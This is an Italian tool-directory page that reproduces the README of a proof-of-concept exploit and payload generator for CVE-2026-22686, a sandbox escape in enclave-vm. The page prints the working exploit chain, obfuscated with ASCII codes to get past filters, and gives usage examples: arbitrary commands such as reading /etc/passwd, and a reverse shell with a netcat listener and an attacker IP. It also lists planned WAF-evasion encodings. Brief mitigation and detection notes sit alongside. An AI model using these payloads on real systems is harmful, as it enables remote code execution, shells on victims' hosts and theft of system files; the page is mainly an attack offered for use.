Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Proof-of-concept exploit e generatore di payload per CVE-2026-22686, un sandbox escape in enclave-vm <2.7.0 che consente l'esecuzione di codice arbitrario e reverse shell.

Vedi Repository
3h 43m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22686 — PoC di Sandbox Escape per enclave-vm

CVE CVSS enclave-vm Python License

Un exploit proof-of-concept (PoC) e generatore di payload per CVE-2026-22686, una vulnerabilità critica di sandbox escape in enclave-vm versioni precedenti alla 2.7.0, che consente l'esecuzione di codice arbitrario all'interno del runtime Node.js host.

⚠️ Disclaimer: Questo strumento è fornito esclusivamente per scopi educativi e di security testing autorizzato. L'utilizzo contro sistemi senza previo consenso scritto è illegale. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio.


📖 Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Come funziona
  • Installazione
  • Utilizzo
  • Anatomia del payload
  • Mitigazione
  • Aspetti legali
  • Riferimenti
  • Autore
  • Licenza

  • 🔍 Panoramica

    enclave-vm è una libreria di sandboxing JavaScript progettata per eseguire in modo sicuro codice non attendibile all'interno di un ambiente controllato. Nelle versioni < 2.7.0, un difetto nel modo in cui gli oggetti errore lato host vengono esposti alla sandbox consente a un attaccante di risalire la catena di prototipi e raggiungere il costruttore Function dell'host, aggirando di fatto la sandbox.

    Questo repository contiene:

    • Un generatore di payload che produce un payload JavaScript pronto da incollare
    • Supporto per l'esecuzione arbitraria di comandi sull'host
    • Supporto per payload reverse shell
    • Una CLI interattiva bilingue (francese / inglese)

    🛡️ Dettagli della vulnerabilità

    CampoValore
    CVE IDCVE-2026-22686
    CVSS v3.110.0 (Critico)
    CWECWE-693 — Protection Mechanism Failure
    Componenteenclave-vm
    Affette< 2.7.0
    Corretta in2.7.0
    ImpattoSandbox escape → esecuzione di codice arbitrario (RCE)

    Causa principale

    Quando una chiamata a uno strumento in sandbox fallisce, enclave-vm espone l'oggetto Error lato host al codice in sandbox. Poiché questo oggetto errore mantiene la sua catena di prototipi originale dall'ambiente host, un attaccante può risalire la catena come segue:

    root@kitploit:~
    Error instance
       └── Error.prototype
            └── Error constructor
                 └── Function constructor  ← host Function!
    

    Una volta ottenuto il costruttore Function dell'host, l'attaccante può compilare ed eseguire JavaScript arbitrario nel runtime host — aggirando completamente la sandbox.


    ⚙️ Come funziona

    L'exploit segue questi passaggi:

    1. Attivare un errore lato host invocando uno strumento inesistente (callTool('NONEXISTENT', {})).
    2. Recuperare l'oggetto errore dalla sandbox (mantiene un riferimento alla catena di prototipi dell'host).
    3. Risalire la catena di prototipi per raggiungere Error.prototype.constructor.constructor, che è la Function dell'host.
    4. Compilare il payload dell'attaccante usando la Function dell'host ed eseguirlo.
    5. Il payload carica child_process ed esegue un comando shell arbitrario (o avvia una reverse shell).

    Tutte le parole chiave sensibili (constructor, __proto__, __lookupGetter__, prototype) sono offuscate come codici ASCII per aggirare i filtri statici più semplici.


    📦 Installazione

    Nessuna dipendenza esterna — utilizza solo la libreria standard di Python.

    root@kitploit:~
    git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
    cd CVE-2026-22686-PoC
    chmod +x generator.py
    

    Requisiti:

    • Python 3.8+

    🚀 Utilizzo

    Modalità interattiva

    root@kitploit:~
    python3 generator.py
    

    Ti verrà chiesto di:

    1. Selezionare la lingua (francese / inglese)
    2. Selezionare il tipo di payload (comando o reverse shell)
    3. Fornire il comando / IP / porta

    Poi copia il payload generato e incollalo nell'input della sandbox vulnerabile.

    Esecuzione di comandi

    root@kitploit:~
    python3 generator.py -c "id"
    python3 generator.py -c "cat /etc/passwd"
    python3 generator.py -c "ls -la /home"
    

    Reverse Shell

    Terminale 1 (attaccante — listener):

    root@kitploit:~
    nc -lvnp 4444
    

    Terminale 2 (generatore):

    root@kitploit:~
    python3 generator.py --revshell 10.10.15.152 4444
    

    Copia il payload risultante e incollalo nella sandbox. Dovresti ricevere una shell nel Terminale 1.

    Output del payload grezzo

    root@kitploit:~
    python3 generator.py -c "id" --raw > payload.js
    python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
    

    Opzioni CLI

    FlagDescrizione
    -c, --commandComando shell da eseguire
    --revshell LHOST LPORTGenera un payload reverse shell
    --rawStampa solo il payload (nessun banner, nessuna decorazione)
    --lang {fr,en}Forza la lingua dell'interfaccia
    -h, --helpMostra aiuto ed esempi

    🔬 Anatomia del payload

    1. Decoder ASCII

    root@kitploit:~
    const s = (...args) => String.fromCharCode(...args);
    

    Un piccolo helper per decodificare array di codici ASCII a runtime.

    2. Parole chiave offuscate

    root@kitploit:~
    const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
    const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
    const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
    const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"
    

    Evita filtri banali basati su stringhe.

    3. Catena di exploit

    root@kitploit:~
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);
    
    let hostError;
    try {
        await callTool('NONEXISTENT', {});
    } catch (e) {
        hostError = e;
    }
    
    const errProto = getProtoNative.call(hostError);
    const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
    const result = HostFunc(payload)();      // Arbitrary code execution
    

    La Function dell'host viene quindi utilizzata per eseguire il comando dell'attaccante tramite child_process.execSync().


    🛡️ Mitigazione

    Per gli sviluppatori:

    • Aggiornare enclave-vm a >= 2.7.0.
    • Verificare regolarmente il proprio albero delle dipendenze (npm audit, Snyk, Dependabot).
    • Non esporre mai funzionalità di esecuzione in sandbox a input non attendibili senza ulteriore validazione.
    • Eseguire il codice in sandbox in processi isolati (ad es. isolated-vm, gVisor, Firecracker).

    Per utenti / organizzazioni:

    • Monitorare la presenza di librerie sandbox obsolete in produzione.
    • Limitare l'accesso di rete in uscita da qualsiasi processo che esegue codice utente.
    • Applicare il principio del privilegio minimo: eseguire i processi Node.js come non-root.

    Rilevamento:

    Cercare richieste HTTP o invii di codice contenenti callTool('NONEXISTENT', __lookupGetter__, lunghi array di letterali interi separati da virgole, oppure child_process / execSync.


    ⚖️ Aspetti legali

    Questo progetto è pubblicato strettamente per ricerca educativa e di sicurezza difensiva. È destinato a ricercatori di sicurezza, penetration tester autorizzati e giocatori di CTF.

    Non utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni (CFAA negli Stati Uniti, Computer Misuse Act nel Regno Unito, Articolo 323-1 in Francia) e può comportare severe sanzioni penali.

    Utilizzando questo software, accetti che l'autore non è responsabile per eventuali danni o conseguenze legali derivanti dal suo utilizzo.


    📚 Riferimenti

    • enclave-vm su npm
    • PoC originale di @amusedx
    • CWE-693: Protection Mechanism Failure
    • Documentazione Node.js child_process
    • OWASP: Sandboxing Best Practices

    👤 Autore

    • GitHub: @moi_404

    📄 Licenza

    Questo progetto è distribuito sotto la Licenza MIT — consulta il file LICENSE per i dettagli.


    🙏 Ringraziamenti

    • @amusedx per la ricerca originale sulla vulnerabilità e il PoC
    • I maintainer di enclave-vm per la divulgazione responsabile e la correzione
    • La comunità di sicurezza per la ricerca continua sui sandbox escape in JavaScript

    ⭐ Contribuire

    Le pull request sono benvenute. Per modifiche importanti, apri prima una issue.

    Miglioramenti suggeriti:

    • Codifiche aggiuntive (base64, hex, rot13) per aggirare i WAF
    • Rilevamento automatico di endpoint vulnerabili
    • Supporto per altre librerie sandbox (vm2, isolated-vm)
    • Unit test e integrazione CI
    Scarica lo strumento